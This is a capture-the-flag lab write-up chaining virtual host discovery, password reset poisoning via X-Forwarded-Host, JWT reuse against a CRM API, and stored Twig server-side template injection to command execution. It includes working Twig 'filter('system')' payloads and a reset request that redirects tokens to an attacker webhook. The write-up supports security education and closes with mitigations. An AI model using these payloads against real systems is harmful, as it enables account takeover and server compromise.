Password Reset Poisoning to Twig SSTI RCE | Inked
Lab Link
Overview
Inked was an end-to-end web exploitation lab built around Jill’s Tatt Shop. The application had a public booking site, a separate staff dashboard, and a CRM API used by the dashboard.
The final chain combined multiple weaknesses:
- Virtual host discovery exposed the staff dashboard.
- Password reset poisoning allowed takeover of Jill’s staff account.
- The staff dashboard disclosed the internal CRM API host.
- The CRM API accepted the staff JWT as a bearer token.
- The public appointment message field was stored and later rendered by the CRM.
- The CRM rendered the message through Twig, resulting in stored SSTI.
- Twig SSTI was escalated to command execution and file read.
Objective
Start as an anonymous visitor on the public site, gain access to the staff back office, pivot into the CRM API, and read the hidden file from the server.
Vulnerability Identification
The initial public site exposed a booking form at:
1
2
3
POST /booking.php HTTP/1.1
Host: inked.local
Content-Type: application/x-www-form-urlencoded
The site also disclosed the staff email address:
1
jill@inked.local
After virtual host fuzzing, the staff dashboard was discovered on a separate host:
1
admin.inked.local
The dashboard only exposed a login and password reset flow. The reset flow trusted the forwarded host header when generating the password reset link.
Recon and Approach
The attack path started with host discovery and password reset testing.
The important hosts were added to /etc/hosts:
1
<LAB_IP> inked.local admin.inked.local crmapi.inked.local
A password reset request was sent for Jill’s account while poisoning the generated reset URL with X-Forwarded-Host.
1
2
3
4
5
6
POST /forgot-password HTTP/1.1
Host: admin.inked.local
X-Forwarded-Host: <attacker-webhook>
Content-Type: application/x-www-form-urlencoded
email=jill@inked.local
The application generated a reset link using the attacker-controlled forwarded host. When the reset link was requested, the token was leaked to the webhook.
Using the leaked token, Jill’s password was reset and the staff dashboard became accessible.
Staff Dashboard Access
After resetting Jill’s password, logging in to the staff dashboard issued a JWT cookie:
1
Cookie: inked_jwt=<redacted-jwt>
The decoded JWT showed an admin role:
1
2
3
4
5
6
{
"iss": "inked-admin",
"sub": "jill@inked.local",
"name": "Jill Marrow",
"role": "admin"
}
The dashboard then disclosed the CRM API host:
1
crmapi.inked.local
The CRM API accepted the same JWT through the Authorization header.
1
2
3
4
GET /appointments HTTP/1.1
Host: crmapi.inked.local
Authorization: Bearer <redacted-jwt>
Origin: http://admin.inked.local
The response returned appointment records from the CRM:
1
2
3
4
5
6
7
8
9
10
11
12
{
"appointments": [
{
"id": 1,
"name": "Renata Cole",
"email": "renata.cole@example.com",
"artist": "Jill Marrow",
"style": "Blackwork",
"status": "new"
}
]
}
Stored SSTI Discovery
The public booking form accepted a message field. This value was stored as an appointment note and later rendered by the CRM appointment detail endpoint.
A basic SSTI probe was submitted in the public booking form.
1
2
3
4
5
POST /booking.php HTTP/1.1
Host: inked.local
Content-Type: application/x-www-form-urlencoded
name=test&email=test@test.com&phone=&preferred_date=&artist=No+preference&style=Blackwork&message={{7*7}}
The appointment was then viewed through the CRM API:
1
2
3
4
GET /appointments/8 HTTP/1.1
Host: crmapi.inked.local
Authorization: Bearer <redacted-jwt>
Origin: http://admin.inked.local
The response rendered the expression result:
1
<div class="appt-note">49</div>
This confirmed stored server-side template injection.
Template Engine Fingerprinting
To identify the template engine, _self was submitted as the message value.
1
{{_self}}
The CRM rendered:
1
__string_template__f7cbd5e5118c73cdfac7b047ef1cfe3c
This behavior matched Twig-style template rendering.
Exploitation
Twig’s filter('system') behavior was used to execute system commands.
First, a file search payload was stored through the public booking form.
1
{{['find / -name "*flag.txt*" 2>/dev/null']|filter('system')}}
The CRM rendered the command output:
1
2
/home/virgal/flag.txt
Array
The discovered file path was then read with another stored payload.
1
{{['cat /home/virgal/flag.txt']|filter('system')}}
Viewing the appointment detail through the CRM API executed the payload and displayed the file contents.
1
2
3
4
GET /appointments/13 HTTP/1.1
Host: crmapi.inked.local
Authorization: Bearer <redacted-jwt>
Origin: http://admin.inked.local
Proof / Flag
The CRM appointment detail rendered the flag from /home/virgal/flag.txt.
1
WEBVERSE{redacted}
The original flag was intentionally redacted from this public writeup.
Root Cause
The root cause was unsafe server-side rendering of user-controlled appointment notes.
The message field from the public booking form was stored without being treated as untrusted data. Later, the CRM API rendered that value as a Twig template instead of outputting it as escaped text.
A second major issue was password reset poisoning. The password reset flow trusted X-Forwarded-Host when building reset links, allowing an attacker to redirect reset tokens to an attacker-controlled domain.
Impact
An unauthenticated attacker could chain these issues to achieve full server compromise:
- Discover the staff dashboard through virtual host enumeration.
- Poison the reset URL and steal Jill’s password reset token.
- Take over Jill’s staff account.
- Access the CRM API with an admin JWT.
- Store a malicious Twig payload through the public booking form.
- Trigger command execution by viewing the appointment through the CRM.
- Read sensitive files from the server.
OWASP Top 10 2025 Classification
This maps primarily to:
1
A05 - Injection
The final impact came from server-side template injection, which led to remote command execution.
The chain also involved:
1
2
3
A01:2025 - Broken Access Control
A07:2025 - Identification and Authentication Failures
A05:2025 - Security Misconfiguration
Mitigation
The application should apply the following fixes:
- Never render user-controlled content as a server-side template.
- Store appointment notes as plain text and HTML-escape them on output.
- Remove dangerous Twig filters and functions from any user-influenced template context.
- Use a strict allowlist for trusted proxy headers.
- Do not use
X-Forwarded-Hostdirectly when generating password reset links. - Configure a fixed canonical application URL for password reset links.
- Scope JWTs to specific services and validate audience claims.
- Avoid exposing internal API hostnames in frontend JavaScript unless required.
- Add server-side authorization checks to CRM endpoints.
- Log and alert on suspicious template syntax in user-submitted fields.
Lessons Learned
This lab showed how a low-risk-looking booking form can become a full compromise when stored data is later rendered by a privileged internal service.
The important lesson is that context changes risk. A public message field may look harmless on the public site, but if the staff CRM renders it as a template, it becomes an execution sink.
The full chain was:
1
2
3
4
5
6
7
8
9
10
Virtual host discovery
→ admin dashboard found
→ password reset poisoning with X-Forwarded-Host
→ Jill account takeover
→ admin JWT obtained
→ CRM API discovered
→ appointment message rendered by CRM
→ Twig SSTI confirmed
→ command execution
→ flag file read
